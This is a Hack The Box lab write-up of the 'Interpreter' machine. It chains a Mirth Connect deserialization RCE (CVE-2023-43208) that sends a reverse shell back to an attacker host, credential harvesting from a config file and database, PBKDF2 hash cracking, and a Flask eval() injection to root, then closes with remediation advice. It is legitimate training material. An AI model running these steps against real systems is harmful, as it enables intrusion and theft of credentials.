Interpreter — Mirth Connect Unauthenticated RCE and Flask eval() Privilege Escalation
- Tools
- rustscan, nmap, curl, mysql, hashcat, python3, netcat, wget, ssh
- Skill demonstrated
- Exploiting an unauthenticated Java deserialization RCE and escalating through database credential recovery and Python eval() injection
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Medium |
| Target environment | Linux server running NextGen Mirth Connect 4.4.0 (healthcare integration engine) |
| Starting position | Unauthenticated network access |
| Objective | Chain an unauthenticated Mirth Connect RCE, database credential recovery, and Python eval() injection to reach root |
| Outcome | Service-account shell, recovered user credential with SSH access, and root execution in a root-owned Flask service |
Summary
Section titled “Summary”Interpreter is a Medium Hack The Box Linux machine built around a vulnerable healthcare integration platform, NextGen Mirth Connect 4.4.0. An unauthenticated XStream deserialization flaw (CVE-2023-43208) in the REST API yields a shell as the <INTEGRATION_SERVICE_ACCOUNT> service account. The application configuration exposes database credentials; the MariaDB database stores a PBKDF2-HMAC-SHA256 hash for <LAB_USER>, which is reformatted for Hashcat mode 10900, cracked, and used for SSH access. A root-owned Flask service (notif.py) on port 54321 renders XML patient records through a double eval() pattern, and a regex filter restricting spaces and special characters is bypassed to gain root. Target and attacker addresses, credentials, and hashes are replaced with role-based placeholders; command syntax is preserved.
Attack path: Mirth Connect 4.4.0 → CVE-2023-43208 XStream deserialization → service-account shell → mirth.properties database credentials → MariaDB PBKDF2 hash → Hashcat crack → SSH as <LAB_USER> → root-owned Flask eval() injection → root
Context and Objective
Section titled “Context and Objective”- Target: a Linux server running Mirth Connect 4.4.0, a healthcare integration engine that processes HL7 messages.
- Exposed services: SSH (22), HTTP (80, nginx redirect), and HTTPS (443, Jetty — Mirth Connect).
- Starting position: unauthenticated network access, with no provided credentials.
- Objective: move from an unauthenticated foothold to full root compromise by chaining an application-layer RCE with a privilege-escalation flaw in a second service.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration and Version Fingerprinting
Section titled “1. Service Enumeration and Version Fingerprinting”Observation: a port scan exposes SSH, an HTTP redirect, and an HTTPS service, and the Mirth Connect API discloses an exact version.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN nmap/Interpreter-TCPTruncated scan output:
22/tcp: SSH80/tcp: HTTP (nginx → HTTPS redirect)443/tcp: HTTPS (Jetty — Mirth Connect)curl -k -H 'X-Requested-With: OpenAPI' \ https://<TARGET_IP>/api/server/version# {"version":"4.4.0"}Significance: the version endpoint answers without authentication, so the exact Mirth Connect release is known before any exploit attempt — 4.4.0 is the version affected by CVE-2023-43208.
Result: the application fingerprint confirms Mirth Connect 4.4.0 exposed over HTTPS.
2. Mirth Connect Unauthenticated RCE (CVE-2023-43208)
Section titled “2. Mirth Connect Unauthenticated RCE (CVE-2023-43208)”Observation: Mirth Connect deserializes XML payloads received by its REST API using the XStream library. In 4.4.0, servlets such as UserServlet and SystemServlet disable authentication checks while processing a request, so an XML payload carrying an XStream gadget chain can instantiate classes whose deserialization invokes Runtime.exec().
Action: a listener receives the callback, and the exploit payload is configured to return the shell to it (endpoint, callback address, and listener port are placeholders):
nc -lvnp <LISTEN_PORT>python3 poc.py \ -u 'https://<TARGET_IP>' \ -lh '<ATTACKER_IP>' \ -lp '<LISTEN_PORT>'The payload returns a shell in the service account’s context:
<INTEGRATION_SERVICE_ACCOUNT>@<TARGET_HOST>:/usr/local/mirthconnect$Significance: authentication is not required, so the deserialization flaw converts an unauthenticated HTTP request into OS command execution under the account that runs Mirth Connect.
Result: an unauthenticated shell is obtained as <INTEGRATION_SERVICE_ACCOUNT>.
3. Credential Harvesting from Configuration and Database
Section titled “3. Credential Harvesting from Configuration and Database”Observation: the service account can read the Mirth Connect configuration file, which stores database credentials alongside the connection string.
cat /usr/local/mirthconnect/conf/mirth.propertiesdatabase.url = jdbc:mariadb://localhost:3306/mc_bdd_proddatabase.username = mirthdbdatabase.password = <MIRTH_DB_PASSWORD>The database holds a password hash rather than a plaintext password:
mysql -u mirthdb -p<MIRTH_DB_PASSWORD> mc_bdd_prodSELECT p.USERNAME, pp.PASSWORDFROM PERSON p JOIN PERSON_PASSWORD pp ON p.ID = pp.PERSON_ID;-- <LAB_USER> | <PBKDF2_HASH_BASE64>Significance: file permissions on the configuration expose a reusable database credential, and the application database stores account credentials as a PBKDF2-HMAC-SHA256 hash, moving the objective from exploitation to offline cracking.
Result: a database credential and an account password hash for <LAB_USER> are recovered.
4. PBKDF2 Hash Cracking and SSH Access
Section titled “4. PBKDF2 Hash Cracking and SSH Access”Observation: the stored value is Base64-encoded; decoded, it is 40 bytes — an 8-byte salt followed by a 32-byte derived key — with an iteration count of 600,000. Cracking requires reformatting it into the delimited form Hashcat mode 10900 expects.
import base64data = base64.b64decode('<PBKDF2_HASH_BASE64>')salt_b64 = base64.b64encode(data[:8]).decode()dk_b64 = base64.b64encode(data[8:]).decode()print(f'sha256:600000:{salt_b64}:{dk_b64}')# sha256:600000:<SALT_BASE64>:<DK_BASE64>hashcat -m 10900 interpreter.hash /usr/share/wordlists/rockyou.txt# sha256:600000:...:...:<CRACKED_PASSWORD>The recovered password is used for SSH:
ssh <LAB_USER>@<TARGET_IP>Significance: the split layout of the stored hash determines the cracker parameters, and the cracked value is a reusable account password rather than a service-specific secret.
Result: the source records an authenticated SSH session as <LAB_USER> using the cracked password.
5. Privilege Escalation via Flask eval() Injection
Section titled “5. Privilege Escalation via Flask eval() Injection”Observation: a root-owned Flask service, notif.py, listens on port 54321 and accepts XML patient records. Its rendering routine interpolates user-controlled fields into an f-string and then passes the result to eval():
template = f"Patient {first} {last} ({gender}), " \ f"{{datetime.now().year - year_of_birth}} years old, " \ f"received from {sender} at {ts}"try: return eval(f"f'''{template}'''")except Exception as e: return f"[EVAL_ERROR] {e}"A process listing confirms the service runs as root before the injection:
ps aux | grep root# root ... python3 /usr/local/bin/notif.pyAction: any {} expression reaching a field such as sender_app is captured by the outer f-string and then executed when eval() runs on the result. A regex filter (r"^[a-zA-Z0-9._'\"(){}=+/]+$") blocks spaces, commas, and brackets, so the injected expression is expressed without them. The representative request substitutes a placeholder for the injected expression:
wget --method=POST \ --header="Content-Type: application/xml" \ --body-data="<patient><sender_app>{<EVAL_EXPRESSION>}</sender_app>...</patient>" \ http://127.0.0.1:54321/addPatientExecution is confirmed by the returned context:
root@<TARGET_HOST>:~#Significance: the first f-string interpolation happens before eval() processes the template, creating a two-stage injection surface, and because the service runs as root, the injected expression executes with full privileges. Permitting parentheses, quotes, dots, and slashes is enough to express method calls and imports without the blocked characters.
Result: the returned prompt confirms root-level command execution.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
| The stored hash is not in a ready-to-crack format | Decode the 40-byte value and re-encode the salt and derived key as sha256:600000:<salt>:<dk> |
Matches the delimited input Hashcat mode 10900 expects |
| Regex filter blocks spaces, commas, and brackets | Encode the command and reach modules without the blocked characters | The filter still permits the parentheses, quotes, dots, and slashes needed to build the expression |
Outcome
Section titled “Outcome”The evidence establishes unauthenticated command execution as the Mirth Connect service account, recovery of a user credential from the application database, and root command execution through eval() injection in a root-owned Flask service. The credential recovered from the database is reused to authenticate over SSH as <LAB_USER>, forming the intermediate user-level foothold.
Lessons and Recommendations
Section titled “Lessons and Recommendations”The actions below are recommendations; none was validated in the lab.
- Unauthenticated deserialization in Mirth Connect. CVE-2023-43208 lets an unauthenticated request reach XStream deserialization and execute commands as the service account. Recommendation: upgrade Mirth Connect to at least 4.4.1, where XStream uses an allowlist instead of a denylist, and keep the service off the public internet behind a VPN or reverse proxy where patching is delayed. Detection: alert on unexpected POST bodies to Mirth Connect servlet paths and on command execution by the service account.
- Credentials readable by the service account. The Mirth Connect configuration stores the database password in plaintext, and that database stores account password hashes. Recommendation: restrict access to
mirth.properties, move secrets to a dedicated secrets store, and rotate any credential a compromise of the service account would expose. Detection: monitor reads of configuration files by the service account. - Root-owned application service.
notif.pyruns as root, so a flaw in its request handling becomes a direct privilege escalation. Recommendation: run the service under a dedicated unprivileged account using systemdUser=andGroup=directives. Detection: flag any network-facing service that runs as root. eval()on request data. The doubleeval()pattern turns a user-controlled field into code execution. Recommendation: replaceeval()with explicit templating that does not execute code, and treat regex input filters as a usability check rather than a security boundary. Detection: review code paths that pass request data toeval(),exec(), or dynamic template rendering.
References
Section titled “References”- Hack The Box — Interpreter (retired machine)
- NVD — CVE-2023-43208
- NextGen — Mirth Connect 4.4.1 What’s New (vendor security fix)
- RustScan (fast port scanner)
- Nmap Reference Guide
- curl manual page
- Hashcat — Example hashes
- MariaDB command-line client
- Python —
evalbuilt-in function - systemd.exec —
User=,Group=(service hardening directives)